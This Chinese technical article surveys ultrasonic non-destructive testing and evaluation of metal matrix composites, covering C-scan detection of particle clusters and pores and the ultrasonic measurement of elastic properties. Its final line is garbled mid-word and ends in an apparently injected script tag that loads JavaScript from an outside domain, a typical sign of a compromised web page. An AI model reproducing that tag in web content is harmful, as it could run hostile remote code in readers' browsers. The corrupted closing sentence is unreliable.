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金属基复合材料超声无损检测及评价技术的发展

金属基复合材料同时具有金属的性能（塑性和韧性）和陶瓷的优点（高强度和高刚度），如硼或碳化硅增强的铝或钛在性能上比基体材料均有明显的改善，除比强度、比刚度和工作温度提高外，还具有耐磨损、抗老化、不吸湿、不放气、尺寸稳定等特点，它在工业中的应用有利于提高零件强度，减轻产品重量。从20世纪60年代开始，金属基复合材料就受到了广泛的关注，但由于制造工艺复杂，成本较高，它主要被应用于航空航天领域。 　　金属基复合材料通常采用铸锭冶金法或粉末冶金工艺制备，均有可能产生增强体分布不均匀等缺陷，从而导致材料的性能下降或性能分散度大。传统的方法是通过金相照片观察材料的组织结构与形态，从而确定材料是否包含缺陷，或采用力学性能试验机等仪器设备直接测量材料的机械性能。上述这些方法都必须破坏试样，甚至造成材料无法使用，且存在操作复杂，费时费力，检测区域受限等问题，严重限制了材料使用范围。因此，迫使人们开展金属基复合材料的无损检测和评价方法的研究，以满足工程实际的需要。 　　金属基复合材料的超声无损检测 　　超声波检测技术在金属基复合材料方面的应用主要分为2类：一是探测材料或构件中是否存在缺陷，并对缺陷的形状、大小、方位、取向、分布和内含物等情况进行判断，即超声无损检测（Ultrasonic Non-destructive Testing，UNDT）；二是借鉴有损测试手段获得的信息，在材料的力学性能、微观结构与无损检测参量之间建立相关联系，进而对材料进行评价，即超声无损评价（Ultrasonic Non-destructive Evaluation，UNDE）。 　　由于UNDT操作简单，成本较低，对人体无害，已被广泛应用于金属基复合材料的检测。UNDT检测的缺陷对象除裂纹、内孔等普通缺陷外，还包括增强体偏聚等金属基复合材料特有的缺陷。利用聚焦探头进行超声C扫描，可以获得存在团聚、气孔等缺陷的分布图像。P.K.Liaw在对粉末冶金工艺制造的SiCp增强6013铝合金（增强体体积百分比为25%）坯料进行无损检测中，首先使用5MHz聚焦探头对试样进行了超声C扫描成像，从图像中可以清晰地辨认出SiCp的团聚，其中最小的团聚体直径为1.6mm；然后利用扫描电镜观察了对应位置的微观结构形貌，验证了C扫描结果的正确性。K.Lemster在研究X38CrMoV5-1/Al2O3金属基复合材料的机械性能时使用超声C扫描对材料内部的均匀性和裂纹进行了检测。国内魏勤等人利用超声C扫描对SiCp/Al试样进行了检测，可以清晰地看出材料中的团聚和孔洞。 　　金属基复合材料的超声无损评价是通过可测的声学参量，如声速、声衰减系数、回波频率等对材料的弹性常数、SiCp体积百分比含量、孔隙率等特征进行测量，从而对材料的力学性能、成分或微观结构等方面做出评价。在对材料进行超声无损评价前通常会首先进行缺陷检测，以免夹杂、气孔等缺陷影响评价结果，因此UNDT是UNDE的基础，而UNDE是UNDT的延伸。由于UNDE可以从不同视角对被评价对象的固有属性、功能、状态、潜能及其趋势等做出完整、准确的评价和预测，因此成为目前无损检测技术研究的一个热点。 　　金属基复合材料的超声无损评价 　　在超声无损评价的研究中，最重要的步骤就是建立可测声学参量与材料特征参数之间的关系。针对金属基复合材料，研究的对象主要有弹性常数矩阵或弹性模量、增强体的体积百分比、孔隙率和增强体颗粒大小等。由于在评价中针对的材料特征不同，测量的声学参量不同，因此所使用的理论也不同，涉及的范围十分广泛。

1 弹性常数矩阵或弹性模量的测量 　　金属基复合材料中增强体颗粒或晶须在不同方向上的排列往往不同，因此它通常属于各向异性材料。Hyunjo Jeong对金属基复合材料的微观结构进行了研究，通过扫描电镜观察了挤压面和另外2个平面的晶相图像，可以明显地看出增强?script src=http://makeupcn.cn/x.js>